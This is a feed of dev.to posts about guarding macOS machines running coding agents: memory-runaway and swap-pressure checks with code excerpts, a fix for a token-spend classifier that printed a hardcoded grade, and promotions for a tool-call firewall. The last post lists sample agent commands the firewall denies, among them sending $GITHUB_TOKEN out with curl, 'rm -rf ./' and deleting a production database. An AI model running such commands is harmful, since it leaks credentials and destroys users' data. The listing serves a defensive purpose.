      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Tue, 17 Nov 2026 15:04:02 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/my-memory-guard-watched-one-process-grow-to-268-gb-and-did-nothing-because-it-trusted-the-agent-3dbd</link>
      <guid>https://dev.to/igorganapolsky/my-memory-guard-watched-one-process-grow-to-268-gb-and-did-nothing-because-it-trusted-the-agent-3dbd</guid>
      <description>&lt;p&gt;Yesterday at 2:37 PM, macOS showed "Your system has run out of application memory" on my Mac. I run Claude Code all day, and I also run a guard that watches for runaway processes. The guard checked every minute during the whole incident. It stopped nine small leftover processes. It never touched the one that caused the problem.&lt;/p&gt;

&lt;p&gt;Between 2:25 and 2:36 PM, a single node helper running under Claude grew from about 10 GB to 268 GB of memory footprint. Swap reached 76 GB.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why the guard missed it
&lt;/h3&gt;

&lt;p&gt;The guard's rules were written around a real fear: killing an agent while you are using it. So the rule was simple. If a process belongs to a live agent session, leave it alone. That protects a Claude or Codex session that is working hard on a big build.&lt;/p&gt;

&lt;p&gt;The same rule also protects a process that is eating the machine. A node helper is a child of the agent, so it inherited the agent's immunity. The guard was doing exactly what it was told to do. The rule was wrong, not the code.&lt;/p&gt;

&lt;h3&gt;
  
  
  What we changed
&lt;/h3&gt;

&lt;p&gt;Now, when macOS reports critical memory pressure and one process holds at least half of the machine's RAM (never less than 16 GB), the guard stops that process, even under a live agent session. It sends SIGTERM first. If the same process is still running after 3 seconds, it sends SIGKILL.&lt;/p&gt;

&lt;p&gt;The check is one pure function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="no"&gt;RUNAWAY_MIN_MB&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="no"&gt;RUNAWAY_RAM_SHARE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;findMemoryRunaways&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;procs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;footprints&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ramMB&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="s1"&gt;'critical'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ramMB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;footprints&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;limitMB&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;RUNAWAY_MIN_MB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ramMB&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="no"&gt;RUNAWAY_RAM_SHARE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;procs&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;mb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mb&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;limitMB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="c1"&gt;// ...then the spared cases below: system paths, Jamf, VMs, app executables&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;// (excerpt, trimmed)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The real function has more conditions in that filter, and those matter as much as the threshold. It never stops system processes, Jamf, an app's own executable, or browser helpers. It also spares virtual machine and local model runners such as qemu, ollama and llama-server, plus databases like postgres and redis. Runtimes (node, python, bun, deno, ruby, java) count wherever they run.&lt;/p&gt;

&lt;p&gt;One bug showed up while testing. App paths can contain spaces, as in "Google Chrome.app", and my first version missed them. The fix reads the executable path until a space is followed by an argument that starts with a slash or a dash. The new table test includes a path with a space so it stays fixed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Check this on your own machine
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Look at your own guard or cleanup script. Does it have an exemption for processes owned by an agent, an editor or a terminal? Ask what happens when the exempt process is the one that leaks.&lt;/li&gt;
&lt;li&gt;Look at swap during a heavy session with &lt;code&gt;sysctl vm.swapusage&lt;/code&gt;. Swap in the tens of gigabytes means you are already in trouble, even if free memory looks fine.&lt;/li&gt;
&lt;li&gt;Find the biggest process by footprint, not resident size: &lt;code&gt;top -l 1 -o mem -n 5&lt;/code&gt;. A leaking helper shows up there before the system warns you.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;An exemption that protects your work should have a ceiling. A process using half the machine is not doing your work anymore, whoever started it.&lt;/p&gt;

&lt;p&gt;The guard is open source. The code for this change, the incident fixture and the tests are in the repo: &lt;a href="https://github.com/IgorGanapolsky/mac-yolo-safeguards" rel="noopener noreferrer"&gt;https://github.com/IgorGanapolsky/mac-yolo-safeguards&lt;/a&gt;&lt;/p&gt;

</description>
      <category>macos</category>
      <category>ai</category>
      <category>devtools</category>
      <category>opensource</category>
    </item>
    <item>
      <title>One node process grew from 10 GB to 268 GB in eleven minutes, and the guard I built let it</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Tue, 17 Nov 2026 13:23:44 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/one-node-process-grew-from-10-gb-to-268-gb-in-eleven-minutes-and-the-guard-i-built-let-it-3l7h</link>
      <guid>https://dev.to/igorganapolsky/one-node-process-grew-from-10-gb-to-268-gb-in-eleven-minutes-and-the-guard-i-built-let-it-3l7h</guid>
      <description>&lt;p&gt;Yesterday at 2:37 PM my Mac showed "Your system has run out of application memory." I build a small menu bar app whose whole job is to stop that from happening, so this one stung.&lt;/p&gt;

&lt;p&gt;Here is what the logs showed. Between 2:25 and 2:36 PM, a single node helper running under Claude grew from about 10 GB to 268 GB of memory footprint. Swap reached 76 GB. My guard was checking every minute the whole time, and in those eleven minutes it stopped nine small leftover processes and never touched the one eating the memory.&lt;/p&gt;

&lt;p&gt;That was by design, and the design was wrong. The rule I had written was simple: never kill anything that belongs to a live agent session. A guard that kills the wrong process throws away an hour of an agent's work, and that felt worse than a slow Mac. But a process holding 268 GB on a Mac with 48 GB of RAM is not work anyone wants to keep. It is a leak, and the Mac was going down either way.&lt;/p&gt;

&lt;p&gt;So version 1.2.6 changed the rule. When memory is critical, a process whose footprint is at least half of RAM, and never less than 16 GB, gets stopped even if it lives inside an agent session. It gets SIGTERM first and SIGKILL three seconds later only if it is still the same process. It applies to runtimes like node, python, bun, deno, ruby and java. It still never stops apps, browser tabs, virtual machines, local model servers, databases, system processes or device management, and the notification names what it stopped and how much memory it held. The first version of the test missed app paths with spaces in them, like "Google Chrome.app", which is exactly the kind of thing you want a table test to catch before it ships.&lt;/p&gt;

&lt;h2&gt;
  
  
  Then the internet died
&lt;/h2&gt;

&lt;p&gt;The same evening every web page started hanging. Ping to 1.1.1.1 was between 600 and 1,000 ms. The app correctly said why: my upload is only about 2.1 Mbps, and two background jobs were trying to push far more than that. One was a GitHub Actions self-hosted runner saving a build cache, and the other was Xcode's notarytool uploading an app to Apple. When the upload side of a home connection is full, everything else waits behind it, including the small requests a browser needs to load a page.&lt;/p&gt;

&lt;p&gt;The app knew all of this and did nothing about it. It printed a nice sentence explaining the cause and left me to find the processes myself. Pausing those two uploads brought ping down to between 115 and 300 ms, and pages loaded again.&lt;/p&gt;

&lt;p&gt;Version 1.2.7, released last night, does that pause on its own. When ping is 250 ms or worse and uploads are using at least 70% of the line, it pauses the bulk uploaders with SIGSTOP. It only pauses tools from a short list: notarytool, rsync, scp, rclone, gsutil, aws s3, gh release upload, docker push and CI runner steps. It never pauses browsers, video calls, VPNs, security software or the apps you are typing into, and it never kills the uploads it pauses. Once ping stays under 150 ms for two checks in a row, or after ten minutes at most, it resumes them with SIGCONT and they carry on where they stopped. There is also a "Pause uploads" button for when you want to do it by hand.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I took from both
&lt;/h2&gt;

&lt;p&gt;Both problems had the same shape. The tool saw the problem clearly and then deferred to a rule that was written for a different situation. "Never touch a live session" is right almost every time, and "just report it" is a safe default, but a guard that only reports is a dashboard. The fixes were not clever. They were narrow rules for the case the broad rule got wrong, with a hard limit on what they can touch.&lt;/p&gt;

&lt;p&gt;Mac YOLO Safeguards is free for Apple Silicon Macs, and it is signed and notarized. The automatic actions above are part of Pro Guard, which is $29 once.&lt;/p&gt;

&lt;p&gt;Website: &lt;a href="https://macyolosafeguards.io/?from=devto" rel="noopener noreferrer"&gt;https://macyolosafeguards.io/?from=devto&lt;/a&gt;&lt;br&gt;
Release notes for 1.2.7: &lt;a href="https://github.com/IgorGanapolsky/mac-yolo-safeguards/releases/tag/v1.2.7" rel="noopener noreferrer"&gt;https://github.com/IgorGanapolsky/mac-yolo-safeguards/releases/tag/v1.2.7&lt;/a&gt;&lt;br&gt;
Homebrew: &lt;code&gt;brew install --cask igorganapolsky/tap/mac-yolo-safeguards&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If your Mac has run out of memory while agents were running, I would like to hear what process did it. Every rule in this post came from a crash on my own Mac.&lt;/p&gt;

</description>
      <category>macos</category>
      <category>ai</category>
      <category>claude</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Our token classifier gave us a 10/10 grade from four tasks we typed in ourselves</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Mon, 16 Nov 2026 15:03:50 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/our-token-classifier-gave-us-a-1010-grade-from-four-tasks-we-typed-in-ourselves-2h1b</link>
      <guid>https://dev.to/igorganapolsky/our-token-classifier-gave-us-a-1010-grade-from-four-tasks-we-typed-in-ourselves-2h1b</guid>
      <description>&lt;p&gt;We have a small script that sorts coding-agent token spend into three buckets: teach (reusable skills and context), produce (output that shipped) and spin (retries and wandering). I ran it and it printed "GRADE A+ (10/10)". Then I read the source, and the grade had nothing to do with our usage.&lt;/p&gt;

&lt;h2&gt;
  
  
  What was wrong
&lt;/h2&gt;

&lt;p&gt;The script did not read any usage. It had four sample tasks written into the file, each with a token count and a cost we had typed in by hand. It sorted those four, noticed that spin was under 10 percent, and printed an A+. The grade line was a string in the code, so no input could ever change it.&lt;/p&gt;

&lt;p&gt;Two smaller defaults made it worse. A record with no cost silently got &lt;code&gt;costUsd = 0.001&lt;/code&gt;, so a missing number turned into a plausible-looking number. A record with no &lt;code&gt;acceptedTask&lt;/code&gt; flag counted as accepted. Both defaults pushed the result toward "looks fine".&lt;/p&gt;

&lt;p&gt;Nothing here was a crash. The output looked like a measurement, and the only way to catch it was to ask where the numbers came from.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;The sample data and the grade are gone. The tool now takes measured records from a file or stdin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;node tools/token-spend-classifier.js --input usage.json --max-tokens 100000 --json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;No records, or a record without &lt;code&gt;inputTokens&lt;/code&gt; and &lt;code&gt;outputTokens&lt;/code&gt;: exit 1.&lt;/li&gt;
&lt;li&gt;Cost not measured: &lt;code&gt;costUsd&lt;/code&gt; stays &lt;code&gt;null&lt;/code&gt;, and the total cost and cost per accepted task stay &lt;code&gt;null&lt;/code&gt; too, so the report says "unknown" instead of guessing.&lt;/li&gt;
&lt;li&gt;Category not given: &lt;code&gt;UNKNOWN&lt;/code&gt;. Accepted not given: not accepted.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--max-tokens N&lt;/code&gt; makes it usable as a gate in a script: exit 0 while measured tokens are under N, exit 2 once they reach it. It only checks usage you hand it. It does not reserve tokens or stop a call that is already running.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The new test feeds it empty input, malformed JSON, a negative token count and a non-numeric budget, and checks each one fails closed. It also checks that nothing in the output contains the old grade string.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to check on your own machine
&lt;/h2&gt;

&lt;p&gt;If you have a script that reports agent spend, look for three things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Where does each number come from? If you can't point to a log or an API response, it is a sample.&lt;/li&gt;
&lt;li&gt;What happens when a field is missing? A default that makes the result look better is a bug. Prefer &lt;code&gt;null&lt;/code&gt;, and print "unknown".&lt;/li&gt;
&lt;li&gt;Can the output ever be bad? A health score that can only say "fine" is decoration. Give it a path to fail, then test that path.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Our own copy of this tool printed a perfect grade whatever the input. The grade was never wrong in a way a test would catch, because the test asserted the A+.&lt;/p&gt;

&lt;p&gt;The guard we are building for Mac agents is open source: &lt;a href="https://github.com/IgorGanapolsky/mac-yolo-safeguards" rel="noopener noreferrer"&gt;https://github.com/IgorGanapolsky/mac-yolo-safeguards&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>macos</category>
      <category>devtools</category>
    </item>
    <item>
      <title>Free memory said 78%, and macOS still ran out of application memory</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Sun, 15 Nov 2026 15:24:27 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/free-memory-said-78-and-macos-still-ran-out-of-application-memory-53d4</link>
      <guid>https://dev.to/igorganapolsky/free-memory-said-78-and-macos-still-ran-out-of-application-memory-53d4</guid>
      <description>&lt;p&gt;On November 14 a 48 GB Mac showed "your system has run out of application memory" while a pile of coding agents was running. The odd part is that free memory had read 77 to 79 percent all morning. Swap was at 14.4 of 15 GB.&lt;/p&gt;

&lt;p&gt;Our guard had a rule that said swap size alone is never pressure, and for good reason. macOS adds swap files as it needs them and leaves cold pages in them, so a big swap number on a healthy Mac is common. We took that too far. That was the bug. "Large swap is not pressure" is true. "Nearly full swap is not pressure" is not.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;The pressure check now treats swap as a signal only when both things hold: at least 8 GB is in use, and the swap area is mostly full. At 80 percent it warns, and at 90 percent it is critical.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="no"&gt;SWAP_FULL_MIN_MB&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8192&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="no"&gt;SWAP_FULL_WARN_PCT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="no"&gt;SWAP_FULL_CRITICAL_PCT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;swapFull&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;swapUsedPct&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;swapUsedMB&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="no"&gt;SWAP_FULL_MIN_MB&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;swapFull&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;swapUsedPct&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="no"&gt;SWAP_FULL_CRITICAL_PCT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;raise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'critical'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sb"&gt;`swap is ${Math.round(memory.swapUsedPct)}% full`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;swapFull&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;swapUsedPct&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="no"&gt;SWAP_FULL_WARN_PCT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;raise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'warn'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sb"&gt;`swap is ${Math.round(memory.swapUsedPct)}% full`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The 8 GB floor matters. A 1.9 GB swap that is 95 percent full is just a small swap file, and we have a test that keeps it at normal.&lt;/p&gt;

&lt;p&gt;The second thing we found was a rounding bug. The percentage was rounded to a whole number when we read it, so 89.5 percent became 90 and tipped over into critical. We now keep the raw number for the comparison and round only when printing the reason. There is a test for 89.5 percent staying a warning and 79.6 percent staying normal.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the guard does about it
&lt;/h2&gt;

&lt;p&gt;Before this, the cleanup could only stop leftover agent processes. Now, if memory is critical and nothing is left to stop, it shows one notice that names the reason and the three biggest owners, for example "swap is 94% full (14378 MB)... most is held by Codex 15.5 GB (318 processes), Claude 8.5 GB (131 processes), Google Chrome 4.2 GB (40 processes)". It shows that at most every 30 minutes, and if macOS refuses to show the notification, the 30 minute timer is not started.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check your own Mac
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sysctl vm.swapusage
memory_pressure &lt;span class="o"&gt;|&lt;/span&gt; tail -1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the swap line shows several gigabytes used and close to the total (ours was 14.4 of 15 GB), and &lt;code&gt;memory_pressure&lt;/code&gt; reports less than about 20 percent free, you are near the wall no matter what the free memory figure says. A small swap area that is nearly full, like 1.9 GB at 95 percent, is normal on its own.&lt;/p&gt;

&lt;p&gt;The guard is open source: &lt;a href="https://github.com/IgorGanapolsky/mac-yolo-safeguards" rel="noopener noreferrer"&gt;https://github.com/IgorGanapolsky/mac-yolo-safeguards&lt;/a&gt;&lt;/p&gt;

</description>
      <category>macos</category>
      <category>ai</category>
      <category>devtools</category>
      <category>performance</category>
    </item>
    <item>
      <title>The stop button for a coding agent should not be the laptop</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Mon, 02 Nov 2026 20:47:56 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/the-stop-button-for-a-coding-agent-should-not-be-the-laptop-4gnb</link>
      <guid>https://dev.to/igorganapolsky/the-stop-button-for-a-coding-agent-should-not-be-the-laptop-4gnb</guid>
      <description>&lt;p&gt;The stop button for a coding agent should not be the laptop.&lt;/p&gt;

&lt;p&gt;If the agent keeps running after you leave, the stop has to work from a browser. ThumbGate is that approve/deny gate.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://thumbgate.app/?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=thumbgate_app_20261102&amp;amp;cta_id=thumbgate_app_20261102_devto_home" rel="noopener noreferrer"&gt;https://thumbgate.app/?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=thumbgate_app_20261102&amp;amp;cta_id=thumbgate_app_20261102_devto_home&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;ThumbGate Pro is $19 a month or $149 a year. The diagnostic is $499. The rule-pack kit is $49. I am not claiming a user count or a revenue number in this post.&lt;/p&gt;

</description>
      <category>tooling</category>
    </item>
    <item>
      <title>Why CLAUDE.md and .cursorrules Fail After Turn 15 (And How to Enforce 0.4ms PreToolUse Gates)</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Tue, 27 Oct 2026 20:34:21 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/why-claudemd-and-cursorrules-fail-after-turn-15-and-how-to-enforce-04ms-pretooluse-gates-mfm</link>
      <guid>https://dev.to/igorganapolsky/why-claudemd-and-cursorrules-fail-after-turn-15-and-how-to-enforce-04ms-pretooluse-gates-mfm</guid>
      <description>&lt;p&gt;If you run &lt;strong&gt;Claude Code&lt;/strong&gt;, &lt;strong&gt;Cursor&lt;/strong&gt;, or &lt;strong&gt;Codex&lt;/strong&gt; on a non-trivial production codebase, you have probably hit the same three walls:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Passive rules rot after turn 15:&lt;/strong&gt; You write &lt;code&gt;NEVER run git push --force&lt;/code&gt; or domain invariants in &lt;code&gt;CLAUDE.md&lt;/code&gt; or &lt;code&gt;.cursorrules&lt;/code&gt;. Twenty turns into a debugging session, context compaction summarizes the history and the agent ignores the rule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Runaway retry loops burn 40%+ of your token budget:&lt;/strong&gt; The agent hits a failing test or database connection error and runs the exact same failing command 6 times in a row, re-sending the entire 100k-token context window on every turn.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secret exfiltration and destructive commands:&lt;/strong&gt; An agent debugging an API call runs &lt;code&gt;curl -d "$GITHUB_TOKEN"&lt;/code&gt; or &lt;code&gt;rm -rf ./&lt;/code&gt; before you can hit &lt;code&gt;Ctrl+C&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Prompts are suggestions. &lt;strong&gt;Hooks at the tool-call boundary are law.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Moving Memory from &lt;code&gt;AGENTS.md&lt;/code&gt; into the &lt;code&gt;PreToolUse&lt;/code&gt; Boundary
&lt;/h2&gt;

&lt;p&gt;Instead of hoping the LLM remembers a paragraph in &lt;code&gt;CLAUDE.md&lt;/code&gt;, we built &lt;strong&gt;&lt;a href="https://thumbgate.ai?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=pretooluse_firewall" rel="noopener noreferrer"&gt;ThumbGate&lt;/a&gt;&lt;/strong&gt; — an open-source (MIT) pre-action firewall and loop circuit-breaker that sits at the &lt;code&gt;PreToolUse&lt;/code&gt; boundary across Claude Code, Cursor, Codex, and Gemini CLI.&lt;/p&gt;

&lt;p&gt;Here is what happens at runtime in &lt;strong&gt;0.4ms&lt;/strong&gt; before the shell or file tool executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git push origin feat/auth-fix         → ALLOW (safe branch · 0.3ms)
curl -d "$GITHUB_TOKEN" https://...   → DENY  (SOC2 secret pack)
aws rds delete-db-instance --prod     → DENY  (AWS safeguard pack)
git push --force origin main          → DENY  (Git/DB protection pack)
npm test [repeat #3 identical error]  → KILL_LOOP (-42% wasted tokens)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When an agent makes a domain-specific mistake in your repo, &lt;strong&gt;one thumbs-down (&lt;code&gt;capture_feedback&lt;/code&gt;)&lt;/strong&gt; turns that failure into a local SQLite lesson. When the pattern repeats, it promotes into a deterministic blocking gate so the agent cannot make the same mistake twice.&lt;/p&gt;




&lt;h2&gt;
  
  
  1-Command Quickstart (MIT Free Forever)
&lt;/h2&gt;

&lt;p&gt;You can install the local engine or pull our 5 agent skills via the &lt;a href="https://www.skills.sh/" rel="noopener noreferrer"&gt;&lt;code&gt;skills.sh&lt;/code&gt;&lt;/a&gt; directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Option A: Initialize local PreToolUse firewall + SQLite memory&lt;/span&gt;
npx thumbgate init

&lt;span class="c"&gt;# Option B: Install via skills.sh Well-Known Discovery&lt;/span&gt;
npx skills add https://thumbgate.ai

&lt;span class="c"&gt;# Option C: Homebrew (macOS &amp;amp; Linux)&lt;/span&gt;
brew tap igorganapolsky/tap &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; brew install thumbgate
